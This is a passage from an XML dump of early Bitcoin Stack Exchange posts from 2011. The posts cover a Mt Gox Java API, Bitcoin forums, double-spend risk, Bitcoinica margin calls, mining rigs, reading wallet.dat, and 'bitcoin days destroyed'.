  <row Id="822" PostTypeId="2" ParentId="815" CreationDate="2011-09-09T20:58:38.380" Score="2" Body="&lt;p&gt;I don't know of a currently existing Java API for Mt Gox - most folks will probably roll their own until Mt Gox issues their own demonstration client in Java. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the interests of helping you make some progress in this area here is a short tutorial that may be of some use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to build a Java API for Mt Gox&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just throw one together using the &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API&quot; rel=&quot;nofollow&quot;&gt;web API specification provided by Mt Gox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the examples are written in PHP, the nature of the API is a bunch of simple HTTP requests which typically use JSON to transfer the payload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the getDepth request&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://mtgox.com/api/0/data/getDepth.php?Currency=PLN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return a block of JSON that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;asks&quot;:[[13.32937,46.25473014],&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;bids&quot;: [[11.09752,1],[11.18583,259.5],&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[12.64579,3]]}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which can be mapped to a Java object as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package org.example.mtgox;&#xA;&#xA;import java.util.List;&#xA;&#xA;public class Depth {&#xA;    private List&amp;lt;Asks&amp;gt; asks;&#xA;    private List&amp;lt;Bids&amp;gt; bids;&#xA;&#xA;    public List&amp;lt;Asks&amp;gt; getAsks(){&#xA;        return this.asks;&#xA;    }&#xA;    public void setAsks(List&amp;lt;Asks&amp;gt; asks){&#xA;        this.asks = asks;&#xA;    }&#xA;    public List&amp;lt;Bids&amp;gt; getBids(){&#xA;        return this.bids;&#xA;    }&#xA;    public void setBids(List&amp;lt;Bids&amp;gt; bids){&#xA;        this.bids = bids;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a sprinkle of JAXB annotations (@XmlRootElement and so on), plug it into the RESTEasy framework and it'll handle all the translation for you. Note that JAXB annotations allow rendering to XML, JSON and YAML - they're just markers. Barely a line of code to be written. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if you have a JSON input and you want a bare Java POJO generated from it, you can use the &lt;a href=&quot;http://jsongen.byingtondesign.com/&quot; rel=&quot;nofollow&quot;&gt;very handy JSONGen web service&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shameless plug&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want this developed more, then let me know and I'll see what I can do to help.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-09-09T20:58:38.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostTypeId="1" AcceptedAnswerId="827" CreationDate="2011-09-09T21:03:55.860" Score="7" ViewCount="382" Body="&lt;p&gt;Which websites have active bitcoin communities with discussion that is going on?&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2023-11-17T15:53:49.897" Title="What forums or websites have an active bitcoin section?" Tags="|forum|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostTypeId="2" ParentId="784" CreationDate="2011-09-09T21:04:33.607" Score="2" Body="&lt;p&gt;I don't believe anyone has compiled the information but you could obtain it all from block explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to go through block chain and record the signing destination of all 144,667 blocks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&#xA;&lt;a href=&quot;http://blockexplorer.com/block/00000000000000f993d2fd712906ff1a5f79125d12f2832aa0616de1d4949e6e&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/block/00000000000000f993d2fd712906ff1a5f79125d12f2832aa0616de1d4949e6e&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the &quot;original&quot; (as of today) 144,667 blocks.  With a list of them you could simply scan the block chain to look for at least one transaction (other than signing transaction) involving that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of issues:&#xA;a) like David said above just because it hasn't been spent doesn't mean it is lost (unrecoverable).  Many of the early adopters racked up hundreds of thousands of bitcoin.  Highly probable that many of them are still accessible and simply haven't been transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) second issue is the existence of pools.  With mining pool there will always be one transfer.  From the pool to pool member.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-09-09T21:04:33.607" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="825" PostTypeId="2" ParentId="810" CreationDate="2011-09-09T21:08:07.847" Score="0" Body="&lt;p&gt;There is no such concept as an &quot;account&quot; or &quot;wallet&quot; in the Bitcoin network.  The Bitcoin network only records addresses.  Some clients organize one or more addresses into an account and one or more accounts into a wallet however this structure is &quot;client side&quot; and the network/protocol is unaware of it.  Not all clients use this type of organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are talking about addresses.  Sure you can see which addresses have the most value and how many addresses exist with some value but that isn't easily correlated to a specific entity.  As an example, my wallet currently has &gt;200 unspent outputs in &gt;100 addresses.  There are also about 400 used addresses which contain no unspent outputs (0 value).  An individual's coins are unlikely to be all stored in a single address even if they are stored in a single wallet unless they make a conscious decision to do so (i.e. offline paper wallet).&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2013-08-02T21:30:11.190" LastActivityDate="2013-08-02T21:30:11.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="826" PostTypeId="2" ParentId="823" CreationDate="2011-09-09T21:18:41.550" Score="1" Body="&lt;p&gt;The bitcoin.it wiki has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Forums&quot; rel=&quot;nofollow&quot;&gt;list of forums&lt;/a&gt;.  &lt;a href=&quot;http://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk&lt;/a&gt; and the &lt;a href=&quot;http://www.reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Subreddit&lt;/a&gt; are currently the most active.  The &lt;a href=&quot;https://bitcoin.org.uk/forums/&quot; rel=&quot;nofollow&quot;&gt;bitcoin.org.uk forum&lt;/a&gt; has a fair amount of activity too.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-09-09T21:18:41.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="827" PostTypeId="2" ParentId="823" CreationDate="2011-09-09T21:19:51.940" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Talk&lt;/a&gt; is currently the most active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/&quot; rel=&quot;nofollow&quot;&gt;bitcoin reddit&lt;/a&gt; also has a fair amount of traffic and discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it falls off pretty significantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.talkgold.com/forum/f513-.html&quot; rel=&quot;nofollow&quot;&gt;Talk Gold&lt;/a&gt; has some discussion, so does &lt;a href=&quot;https://bitcoin.org.uk/forums/&quot; rel=&quot;nofollow&quot;&gt;bitcoin.org.uk&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinforums.net/index.php&quot; rel=&quot;nofollow&quot;&gt;bitcoinforums.net&lt;/a&gt; and &lt;a href=&quot;http://www.ugbit.com/forums/forum.php&quot; rel=&quot;nofollow&quot;&gt;other forums&lt;/a&gt; are sparse. (See link to wiki in Chris Acheson's post for a list of all current forums)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are of course often discussions about blog posts or news items on tech related blogs like Slashdot, Ars Technica, Wired, etc. The same is true of some sites dedicated to online gambling, and some Tor forums dedicated to the Silk Road and similar projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have also been some longer threads that are especially useful for miners at the &lt;a href=&quot;http://www.overclockers.com/forums/showthread.php?t=674572&quot; rel=&quot;nofollow&quot;&gt;Overclockers Forum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="81" LastEditDate="2011-09-09T21:34:05.717" LastActivityDate="2011-09-09T21:34:05.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostTypeId="2" ParentId="181" CreationDate="2011-09-09T21:20:14.920" Score="24" Body="&lt;p&gt;As others have said &quot;copying a bitcoin&quot; is trivial but of no value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet consists of addresses and each of those addresses has a certain value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your wallet says you have &quot;20 bitcoins&quot; it simply an abstraction.  Currently your wallet file consists of multiple addresses and the combined value of those addresses according to the bitcoin block chain is 20 bitcoins.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you transfer bitcoins to someone you don't hand over &quot;a bitcoin&quot;.  You submit a transaction to the network.  The network makes sure your address is valid and has the proper value.  &lt;strong&gt;So there is no risk of counterfeiting because there is nothing to counterfeit.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a risk of double spending.  When I transfer bitcoins from me to you the network prevents me from doing it again (and again and again ...).  When you submit a a transaction the network verifies that each transaction is valid before including it in the next block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF hypothetically you had enough computing power you could cheat.  You could include your invalid transaction in the block and sign it as valid.  The strength of bitcoin comes from the size of the network.  Currently ~17Thash/second.  An insane amount of computation power.  As long as the network remains large enough and diverse enough that one entity can't control 51% there is very little risk of double spending, so long as the recipient waits for a confirmation.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="659" LastEditDate="2012-02-13T14:06:36.120" LastActivityDate="2012-02-13T14:06:36.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="829" PostTypeId="1" AcceptedAnswerId="831" CreationDate="2011-09-09T21:24:57.270" Score="4" ViewCount="186" Body="&lt;p&gt;I have tried out Bitcoinica, and although it is complicated i like it a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What confused me is the &quot;Maintenance&quot; amount shown in the Account overview. It looks like it is not explained on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is the fee, it is quite steep, i must say..&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="81" LastEditDate="2011-09-09T23:52:08.907" LastActivityDate="2011-09-09T23:52:08.907" Title="What is the &quot;Maintenance&quot; amount referring to on the bitcoin exchange Bitcoinica?" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostTypeId="2" ParentId="815" CreationDate="2011-09-09T21:30:30.073" Score="3" Body="&lt;p&gt;I have rolled my own mtgox api implementation in java. it is based on &lt;a href=&quot;http://code.google.com/p/google-gson/&quot; rel=&quot;nofollow&quot;&gt;google-Gson&lt;/a&gt; and raw URL requests. i plan on releasing it eventually but the code is not yet on release quality level. if you have any specific questions, just ask in comments&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2011-09-09T21:30:30.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostTypeId="2" ParentId="829" CreationDate="2011-09-09T21:31:49.887" Score="1" Body="&lt;p&gt;No, it relates to when you have a margin call for your open positions. From &lt;a href=&quot;https://www.bitcoinica.com/pages/faq&quot; rel=&quot;nofollow&quot;&gt;their FAQ:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's your Margin Call Policy?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;After you've logged in, you can immediately see your real-time account&#xA;  Net Value (total assets) and Maintenance (minimum net value). When&#xA;  your Net Value falls below twice the amount of Maintenance, we will&#xA;  issue a margin call. If you don't take actions before your Net Value&#xA;  falls below Maintenance, all your positions will be liquidated&#xA;  automatically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="81" LastActivityDate="2011-09-09T21:31:49.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="832" PostTypeId="2" ParentId="327" CreationDate="2011-09-09T21:38:58.850" Score="10" Body="&lt;p&gt;One thing people fail to realize when saying &quot;0 confirms are risky&quot; is that risk is all relative.  A lot depends on how valuable the goods are.  While 0 confirmation may have some risk it is very low for low value transactions and likely far less than credit card fraud.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you are selling a sandwich for whatever $5 is worth in BTC.  When you get a 0 confirm it has indicated that your client sees that address has sufficient value to complete the transaction.  The risk is simply that before confirmed someone else could purchase something with the same address, a hypothetical &quot;double spend&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still remember the window of attack is very small. The AVERAGE block completion time is 10 minutes but ~50% of blocks are completed in less than 6 minutes.  That means if two attackers timed it so they started their attack right after a block was discovered they have roughly 50% chance of getting both transactions completed prior to next block verification.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be defrauded BOTH transactions would have to be fully completed and the attacker gone within that window.  For low value transaction especially in the real world that is incredibly unlikely.  No attacker is guaranteed any sort of &quot;minimum window&quot; the next block might be verified in 10 minutes or in 9 seconds.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you are selling $100K worth of gold then maybe you should wait for 6 confirmations but a customer moving $100K worth of gold likely would understand the need for security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless your physical world business involves both fast transactions AND high street value I wouldn't worry.  A bitcoin ATM however would be a good target for double spending thus some other mechanism would be needed to verify the transfer.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-09-09T21:38:58.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="833" PostTypeId="2" ParentId="818" CreationDate="2011-09-09T23:27:07.103" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Opencart-bitcoin-payment-module&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Opencart-bitcoin-payment-module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-09T23:27:07.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="834" PostTypeId="2" ParentId="517" CreationDate="2011-09-10T01:42:38.353" Score="5" Body="&lt;p&gt;My solution in Open-Transactions is to create a voting pool between participating transaction servers. (I noticed people discussing the project here so I wanted to make sure it's clear that this has only been proposed -- I haven't coded it yet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Alice bails into an OT server, instead of sending her BTC directly to the server, she would send it to the voting pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt; My proposal was, whenever she wants to bail back OUT again, she sends a signed request to the server, and then she forwards the server's signed reply to the members of the pool. IF the pool members have a record/audit of Alice's account (which must be in a DHT they share) and IF the two signatures both verify on the receipt, and IF the request is within the allocation for that server and its maximum bailout-per-day, then the pool members vote ON THE BLOCKCHAIN to release the funds back to Alice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt; This can also have a time delay on it, like a 24-hour bailout if necessary, and it is also subject to all pool members having access to audit data of the other pool members. (The other transaction servers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt; In the event where a server is HACKED, it will still be unable to move any of Alice's Bitcoins, because the other pool members won't vote for it without Alice's signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt; In the event where the server uses a dummy account (hidden from the DHT) to inflate the internal currency, the other pool members won't vote for such bailments out because it can't get past the real-time or daily audit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;===&gt; In the event where a server refuses to answer Alice's bailout request, she can submit it to the pool members, which triggers a message to the offending server. If there is no reply, after a timeout, then they can vote 9 out of 10 (or whatever) to release the funds. This makes it possible to recover funds even from servers that have disappeared outright.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work on OT in my spare time so it will easily be a few months before the above protocol is actually operational. But that's the basic plan.&lt;/p&gt;&#xA;" OwnerUserId="309" LastActivityDate="2011-09-10T01:42:38.353" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostTypeId="1" CreationDate="2011-09-10T04:12:36.673" Score="6" ViewCount="1682" Body="&lt;p&gt;I'd like to buy a mining rig, something like 4 5850 cards, preferably more.  I'd rather not build it myself.  Are there any vendors who sell such machines at a reasonable price?&lt;/p&gt;&#xA;" OwnerUserId="317" LastEditorUserId="5406" LastEditDate="2016-01-21T10:09:20.347" LastActivityDate="2016-01-21T10:09:20.347" Title="Do any vendors sell good mining rigs?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="0" ClosedDate="2016-01-21T10:09:45.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostTypeId="2" ParentId="439" CreationDate="2011-09-10T04:35:08.263" Score="3" Body="&lt;p&gt;Download the Tor package with vidalia from &lt;a href=&quot;http://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run Tor... When it is working, a green onion means your entire network traffic is being anonymized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details on how Tor works are at: &lt;a href=&quot;http://en.wikipedia.org/wiki/Tor_(anonymity_network&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Tor_(anonymity_network&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it... and then in your bitcoin application, under settings, tell it to use a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default setting is the correct one.  You could probably disable the option that starts Bitcoin when your computer starts, because you want Tor up and running before Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of your transactions are recorded in the block chain... mix things up by using available tumblers.  Also... the anonymous markets are displaying text saying they now use tumblers to make tracing where transactions come from and go difficult to analyze/trace.&lt;/p&gt;&#xA;" OwnerUserId="318" LastActivityDate="2011-09-10T04:35:08.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="838" PostTypeId="2" ParentId="836" CreationDate="2011-09-10T04:59:44.950" Score="6" Body="&lt;p&gt;There are two sites that I know of: &lt;a href=&quot;http://www.bitcoin-rigs.com&quot; rel=&quot;nofollow&quot;&gt;bitcoin-rigs.com&lt;/a&gt; and &lt;a href=&quot;http://www.bitcoinrigs.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoinrigs.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a local computer shop near you, you could also order the parts and ask them to mount. There is a wiki entry for &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig&quot; rel=&quot;nofollow&quot;&gt;mining rigs&lt;/a&gt; that has a few standard configurations (including &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig#Two_ATI_5850s.2C_Approximately_600_Mhash.2Fs&quot; rel=&quot;nofollow&quot;&gt;two&lt;/a&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_rig#Three_ATI_5850s.2C_Approximately_900_Mhash.2Fs&quot; rel=&quot;nofollow&quot;&gt;setups&lt;/a&gt; with 5850s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to check the Marketplace section of the &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow&quot;&gt;bitcointalk&lt;/a&gt; forums. Sometimes people sell used rigs there.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-10T04:59:44.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="839" PostTypeId="1" AcceptedAnswerId="849" CreationDate="2011-09-10T05:00:28.867" Score="7" ViewCount="3646" Body="&lt;p&gt;I'd like to be able to add, remove, export etc. keypairs from my wallet.dat file. Looking over the source code of &lt;a href=&quot;https://github.com/joric/pywallet&quot;&gt;pywallet&lt;/a&gt; it doesn't look like such a tough task, but of course it's not as simple as &lt;code&gt;from bsddb.db import *&lt;/code&gt; in C# and Google is failing me. Does anyone have some sample code or resources for how to handle wallet.dat in C#?&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-09-23T22:54:50.293" Title="How do I read the contents of wallet.dat in C#" Tags="|wallet|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostTypeId="2" ParentId="839" CreationDate="2011-09-10T05:21:04.743" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;BitcoinSharp&lt;/a&gt;, a port of &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-10T05:21:04.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="841" PostTypeId="2" ParentId="66" CreationDate="2011-09-10T06:14:42.593" Score="2" Body="&lt;p&gt;The value of bitcoin is roughly proportional to the size of the bitcoin economy, since bitcoin has a fixed supply. This means that for the value of bitcoin to go up (deflation), the bitcoin economy must be experiencing growth. How can growth kill an economy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The deflation spiral theory is self contradicting, at least in the case of bitcoin. In the case of the fractionally reserved fiat paper banking system that our governments impose on us, it's a little different.&lt;/p&gt;&#xA;" OwnerUserId="319" LastActivityDate="2011-09-10T06:14:42.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostTypeId="1" AcceptedAnswerId="850" CreationDate="2011-09-10T10:58:52.970" Score="19" ViewCount="2855" Body="&lt;p&gt;I want to develop my own Bitcoin client in a language that is not yet supported. Are there any resources that can be referenced to help me, or any other future developer with the task, or is the source code for the official client (and other clients) the only thing to go by? Has anyone made some cohesive documentation of the Bitcoin protocol, that if followed would guarantee the finished client would be able to operate along with the existing clients?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-10T14:27:26.033" Title="How to start programming your own Bitcoin client?" Tags="|client|development|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="843" PostTypeId="2" ParentId="842" CreationDate="2011-09-10T11:36:30.067" Score="6" Body="&lt;p&gt;You could investigate the work of Amir Taaki (genjix) from &lt;a href=&quot;http://bitcoinconsultancy.com&quot;&gt;http://bitcoinconsultancy.com&lt;/a&gt; who wrote a separate bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The source code is available at &lt;a href=&quot;https://gitorious.org/libbitcoin/libbitcoin&quot;&gt;https://gitorious.org/libbitcoin/libbitcoin&lt;/a&gt;&#xA;and &lt;a href=&quot;http://libbitcoin.org&quot;&gt;http://libbitcoin.org&lt;/a&gt; is the project site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He is super active and responsive on irc at #bitcoinconsultancy&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-09-10T11:36:30.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="844" PostTypeId="2" ParentId="242" CreationDate="2011-09-10T11:39:45.340" Score="5" Body="&lt;p&gt;[Bitcoinica has closed]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do short selling and margin trading on &lt;a href=&quot;https://www.bitcoinica.com&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinica.com&lt;/a&gt;. The initial deposit is very low. In fact, I was able to start trading immediately by depositing $5 in the form of MtGox USD redeemable code. You are then given some kind of loan so that you'll get a Tradeable Balance that is 5 times the amount of your deposit. You should keep an eye on your Net Value and watch out for a margin call. See &quot;What's your Margin Call Policy?&quot; in their &lt;a href=&quot;https://www.bitcoinica.com/pages/faq&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoinica is more like a forex brokerage than your usual bitcoin exchange. Besides accepting orders from the users, they also trade with the other exchanges, primarily Mt Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Bitcoinica now supports deposit and withrawal of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="153" LastEditDate="2013-03-20T05:08:02.207" LastActivityDate="2013-03-20T05:08:02.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostTypeId="1" AcceptedAnswerId="847" CreationDate="2011-09-10T11:47:53.050" Score="182" ViewCount="233356" Body="&lt;p&gt;The concept of &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot;&gt;bitcoin days destroyed&lt;/a&gt; has been proposed as a measure of bitcoin volume. However, I don't think the bitcoin wiki really explains the idea very well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the purpose or advantage of knowing this statistical value?&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="5406" LastEditDate="2016-03-09T09:23:28.140" LastActivityDate="2023-04-26T11:55:38.420" Title="What are &quot;bitcoin days destroyed&quot;?" Tags="|economic-theory|terminology|bitcoin-days-destroyed|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="846" PostTypeId="1" AcceptedAnswerId="848" CreationDate="2011-09-10T12:18:03.120" Score="5" ViewCount="435" Body="&lt;p&gt;'A' has got 1BTC legitimately. He sends out a transaction to transfer that one bitcoin to 'B' with a 1BTC transaction fee added on. (i.e. a bad request.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'C' is a miner who cares nothing for integrity of the bitcoin system and only cares about winning blocks and selling the BTC he gets as soon as he can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What incentive does C have to pass on the free 1BTC and not include A's transaction when putting the next block together?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2011-09-13T12:54:45.627" LastActivityDate="2011-09-13T12:54:45.627" Title="What incentive is there for a miner to not include a bad transaction?" Tags="|transactions|security|blockchain|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostTypeId="2" ParentId="845" CreationDate="2011-09-10T12:38:02.220" Score="188" Body="&lt;p&gt;The idea of &quot;bitcoin days destroyed&quot; &lt;a href=&quot;http://bitcointalk.org/index.php?topic=6172.msg90789#msg90789&quot; rel=&quot;noreferrer&quot;&gt;came about&lt;/a&gt; because &lt;strong&gt;it was realised that total transaction volume per day might be an inappropriate measure of the level of economic activity in Bitcoin.&lt;/strong&gt;  After all, someone could be sending the same money back and forth between their own addresses repeatedly.  If you sent the same 50 btc back and forth 20 times, it would look like 1000 btc worth of activity, while in fact it represents almost nothing in terms of real transaction volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &quot;bitcoin days destroyed&quot;, &lt;strong&gt;the idea is instead to give more weight to coins which haven't been spent in a while&lt;/strong&gt;.  To do this, you multiply the amount of each transaction by the number of days since those coins were last spent.  So, 1 bitcoin that hasn't been spent in 100 days (1 bitcoin * 100 days) counts as much as 100 bitcoins that were just spent yesterday (100 bitcoins * 1 day).  Because you can think of these &quot;bitcoin days&quot; as building up over time until a transaction actually occurs, the actual measure is called &quot;bitcoin days &lt;em&gt;destroyed&lt;/em&gt;&quot;.  &lt;strong&gt;This is believed to give a better indication of how much real economic activity is occurring on the bitcoin network&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how well does it work?  Well, it's still not perfect, because the other day I moved some coins out of a wallet they've been in for several months without spending them or giving them away.  And some genuine businesses have very rapid turnover in bitcoins, so they're not being measured well by this method.  But it does do a good job of filtering out the &quot;noise&quot; of bitcoins that are just &quot;bouncing around&quot; without really going anywhere.  &lt;strong&gt;The graph of overall bitcoin days destroyed is believed to show that the genuine level of activity in the Bitcoin economy is continually increasing&lt;/strong&gt;--it's not just one person experimenting by rapidly sending the same coins back and forth, flooding the network with meaningless chatter.  Looks pretty good, hey?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VCSej.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Image from the &lt;a href=&quot;https://en.bitcoin.it/wiki/File:June-17th-days-destroyed.png&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin wiki&lt;/a&gt;.  The above graph is in percentage of bitcoin days destroyed and a little out of date--for a regularly updated version in bitcoin days destroyed check out &lt;a href=&quot;https://www.quandl.com/data/BCHAIN/BCDDE-Bitcoin-Days-Destroyed&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Days Destroyed - Active Chart&lt;/a&gt; instead!&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="72677" LastEditDate="2018-07-18T12:48:01.820" LastActivityDate="2018-07-18T12:48:01.820" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
